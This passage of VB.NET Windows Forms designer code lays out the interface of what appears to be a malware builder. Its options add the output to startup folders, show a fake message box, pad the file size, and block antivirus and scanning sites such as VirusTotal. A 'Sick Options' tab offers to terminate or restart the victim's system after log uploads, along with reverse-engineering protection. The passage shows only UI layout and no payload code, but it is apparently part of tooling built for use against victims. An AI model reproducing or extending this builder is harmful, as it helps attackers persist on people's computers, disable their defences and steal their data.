New System.Drawing.Point(4, 40) + Me.TabPage4.Name = "TabPage4" + Me.TabPage4.Size = New System.Drawing.Size(276, 231) + Me.TabPage4.TabIndex = 3 + Me.TabPage4.Text = " Others " + ' + 'GroupBox6 + ' + Me.GroupBox6.BackColor = System.Drawing.Color.Transparent + Me.GroupBox6.Controls.Add(Me.CheckBox68) + Me.GroupBox6.Controls.Add(Me.NumericUpDown6) + Me.GroupBox6.Controls.Add(Me.NumericUpDown7) + Me.GroupBox6.Controls.Add(Me.RadioButton15) + Me.GroupBox6.Controls.Add(Me.RadioButton16) + Me.GroupBox6.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.GroupBox6.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox6.Location = New System.Drawing.Point(3, 152) + Me.GroupBox6.Name = "GroupBox6" + Me.GroupBox6.Size = New System.Drawing.Size(112, 76) + Me.GroupBox6.TabIndex = 54 + Me.GroupBox6.TabStop = False + Me.GroupBox6.Text = "Output Pumper" + ' + 'CheckBox68 + ' + Me.CheckBox68.AutoSize = True + Me.CheckBox68.BackColor = System.Drawing.Color.Transparent + Me.CheckBox68.Location = New System.Drawing.Point(6, 20) + Me.CheckBox68.Name = "CheckBox68" + Me.CheckBox68.Size = New System.Drawing.Size(15, 14) + Me.CheckBox68.TabIndex = 8 + Me.CheckBox68.UseVisualStyleBackColor = False + ' + 'NumericUpDown6 + ' + Me.NumericUpDown6.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.NumericUpDown6.Location = New System.Drawing.Point(27, 16) + Me.NumericUpDown6.Maximum = New Decimal(New Integer() {999, 0, 0, 0}) + Me.NumericUpDown6.Name = "NumericUpDown6" + Me.NumericUpDown6.Size = New System.Drawing.Size(36, 20) + Me.NumericUpDown6.TabIndex = 7 + Me.NumericUpDown6.Value = New Decimal(New Integer() {500, 0, 0, 0}) + ' + 'NumericUpDown7 + ' + Me.NumericUpDown7.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.NumericUpDown7.Location = New System.Drawing.Point(27, 42) + Me.NumericUpDown7.Maximum = New Decimal(New Integer() {999, 0, 0, 0}) + Me.NumericUpDown7.Name = "NumericUpDown7" + Me.NumericUpDown7.Size = New System.Drawing.Size(36, 20) + Me.NumericUpDown7.TabIndex = 6 + Me.NumericUpDown7.Value = New Decimal(New Integer() {5, 0, 0, 0}) + ' + 'RadioButton15 + ' + Me.RadioButton15.AutoSize = True + Me.RadioButton15.BackColor = System.Drawing.Color.Transparent + Me.RadioButton15.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton15.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton15.Location = New System.Drawing.Point(69, 18) + Me.RadioButton15.Name = "RadioButton15" + Me.RadioButton15.Size = New System.Drawing.Size(37, 17) + Me.RadioButton15.TabIndex = 5 + Me.RadioButton15.Text = "KB" + Me.RadioButton15.UseVisualStyleBackColor = False + ' + 'RadioButton16 + ' + Me.RadioButton16.AutoSize = True + Me.RadioButton16.BackColor = System.Drawing.Color.Transparent + Me.RadioButton16.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton16.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton16.Location = New System.Drawing.Point(69, 44) + Me.RadioButton16.Name = "RadioButton16" + Me.RadioButton16.Size = New System.Drawing.Size(40, 17) + Me.RadioButton16.TabIndex = 4 + Me.RadioButton16.Text = "MB" + Me.RadioButton16.UseVisualStyleBackColor = False + ' + 'GroupBox3 + ' + Me.GroupBox3.BackColor = System.Drawing.Color.Transparent + Me.GroupBox3.Controls.Add(Me.MButton8) + Me.GroupBox3.Controls.Add(Me.CheckBox29) + Me.GroupBox3.Controls.Add(Me.CheckBox1) + Me.GroupBox3.Controls.Add(Me.GroupBox5) + Me.GroupBox3.Controls.Add(Me.GroupBox12) + Me.GroupBox3.Controls.Add(Me.TextBox19) + Me.GroupBox3.Controls.Add(Me.TextBox9) + Me.GroupBox3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.GroupBox3.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox3.Location = New System.Drawing.Point(121, 3) + Me.GroupBox3.Name = "GroupBox3" + Me.GroupBox3.Size = New System.Drawing.Size(150, 225) + Me.GroupBox3.TabIndex = 39 + Me.GroupBox3.TabStop = False + Me.GroupBox3.Text = "Fake Message Box" + ' + 'MButton8 + ' + Me.MButton8.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton8.ForeColor = System.Drawing.Color.Yellow + Me.MButton8.Location = New System.Drawing.Point(81, 193) + Me.MButton8.Name = "MButton8" + Me.MButton8.Size = New System.Drawing.Size(59, 21) + Me.MButton8.TabIndex = 97 + Me.MButton8.Text = "Test" + ' + 'CheckBox29 + ' + Me.CheckBox29.AutoSize = True + Me.CheckBox29.BackColor = System.Drawing.Color.Transparent + Me.CheckBox29.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox29.Location = New System.Drawing.Point(60, 198) + Me.CheckBox29.Name = "CheckBox29" + Me.CheckBox29.Size = New System.Drawing.Size(15, 14) + Me.CheckBox29.TabIndex = 85 + Me.CheckBox29.UseVisualStyleBackColor = False + ' + 'CheckBox1 + ' + Me.CheckBox1.AutoSize = True + Me.CheckBox1.BackColor = System.Drawing.Color.Transparent + Me.CheckBox1.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox1.Location = New System.Drawing.Point(14, 197) + Me.CheckBox1.Name = "CheckBox1" + Me.CheckBox1.Size = New System.Drawing.Size(44, 17) + Me.CheckBox1.TabIndex = 83 + Me.CheckBox1.Text = "Use" + Me.CheckBox1.UseVisualStyleBackColor = False + ' + 'GroupBox5 + ' + Me.GroupBox5.Controls.Add(Me.RadioButton47) + Me.GroupBox5.Controls.Add(Me.RadioButton43) + Me.GroupBox5.Controls.Add(Me.RadioButton45) + Me.GroupBox5.Controls.Add(Me.RadioButton46) + Me.GroupBox5.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox5.Location = New System.Drawing.Point(8, 122) + Me.GroupBox5.Name = "GroupBox5" + Me.GroupBox5.Size = New System.Drawing.Size(135, 63) + Me.GroupBox5.TabIndex = 82 + Me.GroupBox5.TabStop = False + Me.GroupBox5.Text = "Other Information" + ' + 'RadioButton47 + ' + Me.RadioButton47.AutoSize = True + Me.RadioButton47.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton47.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton47.Location = New System.Drawing.Point(73, 40) + Me.RadioButton47.Name = "RadioButton47" + Me.RadioButton47.Size = New System.Drawing.Size(61, 19) + Me.RadioButton47.TabIndex = 77 + Me.RadioButton47.Text = "RCancel" + Me.RadioButton47.UseVisualStyleBackColor = True + ' + 'RadioButton43 + ' + Me.RadioButton43.AutoSize = True + Me.RadioButton43.Checked = True + Me.RadioButton43.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton43.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton43.Location = New System.Drawing.Point(6, 18) + Me.RadioButton43.Name = "RadioButton43" + Me.RadioButton43.Size = New System.Drawing.Size(38, 19) + Me.RadioButton43.TabIndex = 73 + Me.RadioButton43.TabStop = True + Me.RadioButton43.Text = "OK" + Me.RadioButton43.UseVisualStyleBackColor = True + ' + 'RadioButton45 + ' + Me.RadioButton45.AutoSize = True + Me.RadioButton45.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton45.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton45.Location = New System.Drawing.Point(73, 18) + Me.RadioButton45.Name = "RadioButton45" + Me.RadioButton45.Size = New System.Drawing.Size(53, 19) + Me.RadioButton45.TabIndex = 76 + Me.RadioButton45.Text = "YesNo" + Me.RadioButton45.UseVisualStyleBackColor = True + ' + 'RadioButton46 + ' + Me.RadioButton46.AutoSize = True + Me.RadioButton46.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton46.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton46.Location = New System.Drawing.Point(6, 40) + Me.RadioButton46.Name = "RadioButton46" + Me.RadioButton46.Size = New System.Drawing.Size(67, 19) + Me.RadioButton46.TabIndex = 75 + Me.RadioButton46.Text = "OKCancel" + Me.RadioButton46.UseVisualStyleBackColor = True + ' + 'GroupBox12 + ' + Me.GroupBox12.BackColor = System.Drawing.Color.Transparent + Me.GroupBox12.Controls.Add(Me.RadioButton26) + Me.GroupBox12.Controls.Add(Me.RadioButton28) + Me.GroupBox12.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.GroupBox12.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox12.Location = New System.Drawing.Point(8, 72) + Me.GroupBox12.Name = "GroupBox12" + Me.GroupBox12.Size = New System.Drawing.Size(135, 44) + Me.GroupBox12.TabIndex = 81 + Me.GroupBox12.TabStop = False + Me.GroupBox12.Text = "Type" + ' + 'RadioButton26 + ' + Me.RadioButton26.AutoSize = True + Me.RadioButton26.Checked = True + Me.RadioButton26.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton26.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton26.Location = New System.Drawing.Point(6, 20) + Me.RadioButton26.Name = "RadioButton26" + Me.RadioButton26.Size = New System.Drawing.Size(48, 17) + Me.RadioButton26.TabIndex = 69 + Me.RadioButton26.TabStop = True + Me.RadioButton26.Text = "Error" + Me.RadioButton26.UseVisualStyleBackColor = True + ' + 'RadioButton28 + ' + Me.RadioButton28.AutoSize = True + Me.RadioButton28.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton28.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton28.Location = New System.Drawing.Point(54, 20) + Me.RadioButton28.Name = "RadioButton28" + Me.RadioButton28.Size = New System.Drawing.Size(80, 17) + Me.RadioButton28.TabIndex = 72 + Me.RadioButton28.Text = "Information" + Me.RadioButton28.UseVisualStyleBackColor = True + ' + 'TextBox19 + ' + Me.TextBox19.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox19.Location = New System.Drawing.Point(6, 46) + Me.TextBox19.Name = "TextBox19" + Me.TextBox19.Size = New System.Drawing.Size(137, 20) + Me.TextBox19.TabIndex = 9 + ' + 'TextBox9 + ' + Me.TextBox9.Font = New System.Drawing.Font("Arial Narrow", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox9.Location = New System.Drawing.Point(6, 20) + Me.TextBox9.Name = "TextBox9" + Me.TextBox9.Size = New System.Drawing.Size(137, 20) + Me.TextBox9.TabIndex = 8 + ' + 'CheckBox28 + ' + Me.CheckBox28.AutoSize = True + Me.CheckBox28.BackColor = System.Drawing.Color.Transparent + Me.CheckBox28.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox28.Location = New System.Drawing.Point(9, 7) + Me.CheckBox28.Name = "CheckBox28" + Me.CheckBox28.Size = New System.Drawing.Size(94, 17) + Me.CheckBox28.TabIndex = 3 + Me.CheckBox28.Text = "Add to Startup" + Me.CheckBox28.UseVisualStyleBackColor = False + ' + 'GroupBox2 + ' + Me.GroupBox2.BackColor = System.Drawing.Color.Transparent + Me.GroupBox2.Controls.Add(Me.RadioButton14) + Me.GroupBox2.Controls.Add(Me.RadioButton13) + Me.GroupBox2.Controls.Add(Me.RadioButton12) + Me.GroupBox2.Controls.Add(Me.RadioButton11) + Me.GroupBox2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.GroupBox2.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox2.Location = New System.Drawing.Point(3, 30) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(112, 116) + Me.GroupBox2.TabIndex = 2 + Me.GroupBox2.TabStop = False + Me.GroupBox2.Text = "Add to Startup" + ' + 'RadioButton14 + ' + Me.RadioButton14.AutoSize = True + Me.RadioButton14.BackColor = System.Drawing.Color.Transparent + Me.RadioButton14.Location = New System.Drawing.Point(6, 89) + Me.RadioButton14.Name = "RadioButton14" + Me.RadioButton14.Size = New System.Drawing.Size(99, 17) + Me.RadioButton14.TabIndex = 3 + Me.RadioButton14.TabStop = True + Me.RadioButton14.Text = "Temporary Files" + Me.RadioButton14.UseVisualStyleBackColor = False + ' + 'RadioButton13 + ' + Me.RadioButton13.AutoSize = True + Me.RadioButton13.BackColor = System.Drawing.Color.Transparent + Me.RadioButton13.Location = New System.Drawing.Point(6, 66) + Me.RadioButton13.Name = "RadioButton13" + Me.RadioButton13.Size = New System.Drawing.Size(95, 17) + Me.RadioButton13.TabIndex = 2 + Me.RadioButton13.TabStop = True + Me.RadioButton13.Text = "My Documents" + Me.RadioButton13.UseVisualStyleBackColor = False + ' + 'RadioButton12 + ' + Me.RadioButton12.AutoSize = True + Me.RadioButton12.BackColor = System.Drawing.Color.Transparent + Me.RadioButton12.Location = New System.Drawing.Point(6, 43) + Me.RadioButton12.Name = "RadioButton12" + Me.RadioButton12.Size = New System.Drawing.Size(89, 17) + Me.RadioButton12.TabIndex = 1 + Me.RadioButton12.TabStop = True + Me.RadioButton12.Text = "Program Files" + Me.RadioButton12.UseVisualStyleBackColor = False + ' + 'RadioButton11 + ' + Me.RadioButton11.AutoSize = True + Me.RadioButton11.BackColor = System.Drawing.Color.Transparent + Me.RadioButton11.Location = New System.Drawing.Point(6, 20) + Me.RadioButton11.Name = "RadioButton11" + Me.RadioButton11.Size = New System.Drawing.Size(66, 17) + Me.RadioButton11.TabIndex = 0 + Me.RadioButton11.TabStop = True + Me.RadioButton11.Text = "AppData" + Me.RadioButton11.UseVisualStyleBackColor = False + ' + 'TabPage5 + ' + Me.TabPage5.AutoScroll = True + Me.TabPage5.BackColor = System.Drawing.Color.Black + Me.TabPage5.Controls.Add(Me.CheckBox70) + Me.TabPage5.Controls.Add(Me.CheckBox49) + Me.TabPage5.Controls.Add(Me.CheckBox48) + Me.TabPage5.Controls.Add(Me.CheckBox47) + Me.TabPage5.Controls.Add(Me.CheckBox46) + Me.TabPage5.Controls.Add(Me.CheckBox45) + Me.TabPage5.Controls.Add(Me.CheckBox44) + Me.TabPage5.Controls.Add(Me.CheckBox43) + Me.TabPage5.Controls.Add(Me.CheckBox42) + Me.TabPage5.Controls.Add(Me.CheckBox41) + Me.TabPage5.Controls.Add(Me.CheckBox40) + Me.TabPage5.Controls.Add(Me.CheckBox39) + Me.TabPage5.Controls.Add(Me.CheckBox38) + Me.TabPage5.Controls.Add(Me.CheckBox37) + Me.TabPage5.Controls.Add(Me.CheckBox36) + Me.TabPage5.Controls.Add(Me.CheckBox35) + Me.TabPage5.Controls.Add(Me.CheckBox34) + Me.TabPage5.Controls.Add(Me.CheckBox33) + Me.TabPage5.Location = New System.Drawing.Point(4, 40) + Me.TabPage5.Name = "TabPage5" + Me.TabPage5.Size = New System.Drawing.Size(276, 231) + Me.TabPage5.TabIndex = 4 + Me.TabPage5.Text = "Website Blocker" + ' + 'CheckBox70 + ' + Me.CheckBox70.AutoSize = True + Me.CheckBox70.BackColor = System.Drawing.Color.Transparent + Me.CheckBox70.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox70.Location = New System.Drawing.Point(152, 195) + Me.CheckBox70.Name = "CheckBox70" + Me.CheckBox70.Size = New System.Drawing.Size(77, 30) + Me.CheckBox70.TabIndex = 23 + Me.CheckBox70.Text = "Flush DNS" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "(Required)" + Me.CheckBox70.UseVisualStyleBackColor = False + ' + 'CheckBox49 + ' + Me.CheckBox49.AutoSize = True + Me.CheckBox49.BackColor = System.Drawing.Color.Transparent + Me.CheckBox49.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox49.Location = New System.Drawing.Point(52, 197) + Me.CheckBox49.Name = "CheckBox49" + Me.CheckBox49.Size = New System.Drawing.Size(70, 17) + Me.CheckBox49.TabIndex = 22 + Me.CheckBox49.Text = "Select All" + Me.CheckBox49.UseVisualStyleBackColor = False + ' + 'CheckBox48 + ' + Me.CheckBox48.AutoSize = True + Me.CheckBox48.BackColor = System.Drawing.Color.Transparent + Me.CheckBox48.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox48.Location = New System.Drawing.Point(152, 174) + Me.CheckBox48.Name = "CheckBox48" + Me.CheckBox48.Size = New System.Drawing.Size(57, 17) + Me.CheckBox48.TabIndex = 21 + Me.CheckBox48.Text = "Panda" + Me.CheckBox48.UseVisualStyleBackColor = False + ' + 'CheckBox47 + ' + Me.CheckBox47.AutoSize = True + Me.CheckBox47.BackColor = System.Drawing.Color.Transparent + Me.CheckBox47.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox47.Location = New System.Drawing.Point(152, 151) + Me.CheckBox47.Name = "CheckBox47" + Me.CheckBox47.Size = New System.Drawing.Size(73, 17) + Me.CheckBox47.TabIndex = 20 + Me.CheckBox47.Text = "Symantec" + Me.CheckBox47.UseVisualStyleBackColor = False + ' + 'CheckBox46 + ' + Me.CheckBox46.AutoSize = True + Me.CheckBox46.BackColor = System.Drawing.Color.Transparent + Me.CheckBox46.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox46.Location = New System.Drawing.Point(152, 128) + Me.CheckBox46.Name = "CheckBox46" + Me.CheckBox46.Size = New System.Drawing.Size(77, 17) + Me.CheckBox46.TabIndex = 19 + Me.CheckBox46.Text = "ZoneAlarm" + Me.CheckBox46.UseVisualStyleBackColor = False + ' + 'CheckBox45 + ' + Me.CheckBox45.AutoSize = True + Me.CheckBox45.BackColor = System.Drawing.Color.Transparent + Me.CheckBox45.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox45.Location = New System.Drawing.Point(152, 105) + Me.CheckBox45.Name = "CheckBox45" + Me.CheckBox45.Size = New System.Drawing.Size(50, 17) + Me.CheckBox45.TabIndex = 18 + Me.CheckBox45.Text = "Avira" + Me.CheckBox45.UseVisualStyleBackColor = False + ' + 'CheckBox44 + ' + Me.CheckBox44.AutoSize = True + Me.CheckBox44.BackColor = System.Drawing.Color.Transparent + Me.CheckBox44.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox44.Location = New System.Drawing.Point(152, 82) + Me.CheckBox44.Name = "CheckBox44" + Me.CheckBox44.Size = New System.Drawing.Size(53, 17) + Me.CheckBox44.TabIndex = 17 + Me.CheckBox44.Text = "Avast" + Me.CheckBox44.UseVisualStyleBackColor = False + ' + 'CheckBox43 + ' + Me.CheckBox43.AutoSize = True + Me.CheckBox43.BackColor = System.Drawing.Color.Transparent + Me.CheckBox43.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox43.Location = New System.Drawing.Point(152, 59) + Me.CheckBox43.Name = "CheckBox43" + Me.CheckBox43.Size = New System.Drawing.Size(48, 17) + Me.CheckBox43.TabIndex = 16 + Me.CheckBox43.Text = "AVG" + Me.CheckBox43.UseVisualStyleBackColor = False + ' + 'CheckBox42 + ' + Me.CheckBox42.AutoSize = True + Me.CheckBox42.BackColor = System.Drawing.Color.Transparent + Me.CheckBox42.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox42.Location = New System.Drawing.Point(152, 36) + Me.CheckBox42.Name = "CheckBox42" + Me.CheckBox42.Size = New System.Drawing.Size(106, 17) + Me.CheckBox42.TabIndex = 15 + Me.CheckBox42.Text = "Window Security" + Me.CheckBox42.UseVisualStyleBackColor = False + ' + 'CheckBox41 + ' + Me.CheckBox41.AutoSize = True + Me.CheckBox41.BackColor = System.Drawing.Color.Transparent + Me.CheckBox41.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox41.Location = New System.Drawing.Point(152, 13) + Me.CheckBox41.Name = "CheckBox41" + Me.CheckBox41.Size = New System.Drawing.Size(69, 17) + Me.CheckBox41.TabIndex = 14 + Me.CheckBox41.Text = "F-Secure" + Me.CheckBox41.UseVisualStyleBackColor = False + ' + 'CheckBox40 + ' + Me.CheckBox40.AutoSize = True + Me.CheckBox40.BackColor = System.Drawing.Color.Transparent + Me.CheckBox40.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox40.Location = New System.Drawing.Point(52, 174) + Me.CheckBox40.Name = "CheckBox40" + Me.CheckBox40.Size = New System.Drawing.Size(96, 17) + Me.CheckBox40.TabIndex = 13 + Me.CheckBox40.Text = "Kaspersky Lab" + Me.CheckBox40.UseVisualStyleBackColor = False + ' + 'CheckBox39 + ' + Me.CheckBox39.AutoSize = True + Me.CheckBox39.BackColor = System.Drawing.Color.Transparent + Me.CheckBox39.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox39.Location = New System.Drawing.Point(52, 151) + Me.CheckBox39.Name = "CheckBox39" + Me.CheckBox39.Size = New System.Drawing.Size(83, 17) + Me.CheckBox39.TabIndex = 12 + Me.CheckBox39.Text = "Trend Micro" + Me.CheckBox39.UseVisualStyleBackColor = False + ' + 'CheckBox38 + ' + Me.CheckBox38.AutoSize = True + Me.CheckBox38.BackColor = System.Drawing.Color.Transparent + Me.CheckBox38.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox38.Location = New System.Drawing.Point(52, 128) + Me.CheckBox38.Name = "CheckBox38" + Me.CheckBox38.Size = New System.Drawing.Size(54, 17) + Me.CheckBox38.TabIndex = 11 + Me.CheckBox38.Text = "ESET" + Me.CheckBox38.UseVisualStyleBackColor = False + ' + 'CheckBox37 + ' + Me.CheckBox37.AutoSize = True + Me.CheckBox37.BackColor = System.Drawing.Color.Transparent + Me.CheckBox37.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox37.Location = New System.Drawing.Point(52, 105) + Me.CheckBox37.Name = "CheckBox37" + Me.CheckBox37.Size = New System.Drawing.Size(80, 17) + Me.CheckBox37.TabIndex = 10 + Me.CheckBox37.Text = "Bitdefender" + Me.CheckBox37.UseVisualStyleBackColor = False + ' + 'CheckBox36 + ' + Me.CheckBox36.AutoSize = True + Me.CheckBox36.BackColor = System.Drawing.Color.Transparent + Me.CheckBox36.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox36.Location = New System.Drawing.Point(52, 82) + Me.CheckBox36.Name = "CheckBox36" + Me.CheckBox36.Size = New System.Drawing.Size(91, 17) + Me.CheckBox36.TabIndex = 9 + Me.CheckBox36.Text = "Malwarebytes" + Me.CheckBox36.UseVisualStyleBackColor = False + ' + 'CheckBox35 + ' + Me.CheckBox35.AutoSize = True + Me.CheckBox35.BackColor = System.Drawing.Color.Transparent + Me.CheckBox35.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox35.Location = New System.Drawing.Point(52, 59) + Me.CheckBox35.Name = "CheckBox35" + Me.CheckBox35.Size = New System.Drawing.Size(45, 17) + Me.CheckBox35.TabIndex = 8 + Me.CheckBox35.Text = "Jotti" + Me.CheckBox35.UseVisualStyleBackColor = False + ' + 'CheckBox34 + ' + Me.CheckBox34.AutoSize = True + Me.CheckBox34.BackColor = System.Drawing.Color.Transparent + Me.CheckBox34.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox34.Location = New System.Drawing.Point(52, 36) + Me.CheckBox34.Name = "CheckBox34" + Me.CheckBox34.Size = New System.Drawing.Size(69, 17) + Me.CheckBox34.TabIndex = 7 + Me.CheckBox34.Text = "Virustotal" + Me.CheckBox34.UseVisualStyleBackColor = False + ' + 'CheckBox33 + ' + Me.CheckBox33.AutoSize = True + Me.CheckBox33.BackColor = System.Drawing.Color.Transparent + Me.CheckBox33.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox33.Location = New System.Drawing.Point(52, 13) + Me.CheckBox33.Name = "CheckBox33" + Me.CheckBox33.Size = New System.Drawing.Size(94, 17) + Me.CheckBox33.TabIndex = 6 + Me.CheckBox33.Text = "Novirusthanks" + Me.CheckBox33.UseVisualStyleBackColor = False + ' + 'TabPage6 + ' + Me.TabPage6.BackColor = System.Drawing.Color.Black + Me.TabPage6.Controls.Add(Me.Label8) + Me.TabPage6.Controls.Add(Me.Label7) + Me.TabPage6.Controls.Add(Me.NumericUpDown5) + Me.TabPage6.Controls.Add(Me.CheckBox61) + Me.TabPage6.Controls.Add(Me.Label9) + Me.TabPage6.Controls.Add(Me.CheckBox60) + Me.TabPage6.Controls.Add(Me.CheckBox59) + Me.TabPage6.Controls.Add(Me.CheckBox58) + Me.TabPage6.Controls.Add(Me.TextBox8) + Me.TabPage6.Controls.Add(Me.CheckBox56) + Me.TabPage6.Controls.Add(Me.CheckBox55) + Me.TabPage6.Controls.Add(Me.CheckBox54) + Me.TabPage6.Controls.Add(Me.CheckBox53) + Me.TabPage6.Controls.Add(Me.CheckBox52) + Me.TabPage6.Controls.Add(Me.CheckBox51) + Me.TabPage6.Controls.Add(Me.CheckBox50) + Me.TabPage6.Location = New System.Drawing.Point(4, 40) + Me.TabPage6.Name = "TabPage6" + Me.TabPage6.Size = New System.Drawing.Size(276, 231) + Me.TabPage6.TabIndex = 5 + Me.TabPage6.Text = " Sick Options " + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.BackColor = System.Drawing.Color.Transparent + Me.Label8.ForeColor = System.Drawing.Color.Yellow + Me.Label8.Location = New System.Drawing.Point(204, 173) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(60, 13) + Me.Label8.TabIndex = 41 + Me.Label8.Text = "in Seconds" + Me.Label8.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.BackColor = System.Drawing.Color.Transparent + Me.Label7.ForeColor = System.Drawing.Color.Yellow + Me.Label7.Location = New System.Drawing.Point(167, 155) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(84, 13) + Me.Label7.TabIndex = 40 + Me.Label7.Text = "Execution Delay" + Me.Label7.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'NumericUpDown5 + ' + Me.NumericUpDown5.Location = New System.Drawing.Point(162, 171) + Me.NumericUpDown5.Name = "NumericUpDown5" + Me.NumericUpDown5.Size = New System.Drawing.Size(36, 20) + Me.NumericUpDown5.TabIndex = 39 + ' + 'CheckBox61 + ' + Me.CheckBox61.AutoSize = True + Me.CheckBox61.BackColor = System.Drawing.Color.Transparent + Me.CheckBox61.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox61.Location = New System.Drawing.Point(23, 201) + Me.CheckBox61.Name = "CheckBox61" + Me.CheckBox61.Size = New System.Drawing.Size(197, 17) + Me.CheckBox61.TabIndex = 27 + Me.CheckBox61.Text = "Terminate System after Log Uploads" + Me.CheckBox61.UseVisualStyleBackColor = False + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.BackColor = System.Drawing.Color.Transparent + Me.Label9.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label9.ForeColor = System.Drawing.Color.Gray + Me.Label9.Location = New System.Drawing.Point(20, 174) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(133, 26) + Me.Label9.TabIndex = 26 + Me.Label9.Text = "NOTE: FOR THE LAST OPTION" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "DO NOT TEST ON YOURSELF" + Me.Label9.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'CheckBox60 + ' + Me.CheckBox60.AutoSize = True + Me.CheckBox60.BackColor = System.Drawing.Color.Transparent + Me.CheckBox60.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox60.Location = New System.Drawing.Point(141, 82) + Me.CheckBox60.Name = "CheckBox60" + Me.CheckBox60.Size = New System.Drawing.Size(77, 17) + Me.CheckBox60.TabIndex = 18 + Me.CheckBox60.Text = "Restart PC" + Me.CheckBox60.UseVisualStyleBackColor = False + ' + 'CheckBox59 + ' + Me.CheckBox59.AutoSize = True + Me.CheckBox59.BackColor = System.Drawing.Color.Transparent + Me.CheckBox59.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox59.Location = New System.Drawing.Point(23, 154) + Me.CheckBox59.Name = "CheckBox59" + Me.CheckBox59.Size = New System.Drawing.Size(120, 17) + Me.CheckBox59.TabIndex = 17 + Me.CheckBox59.Text = "Reflector Protection" + Me.CheckBox59.UseVisualStyleBackColor = False + ' + 'CheckBox58 + 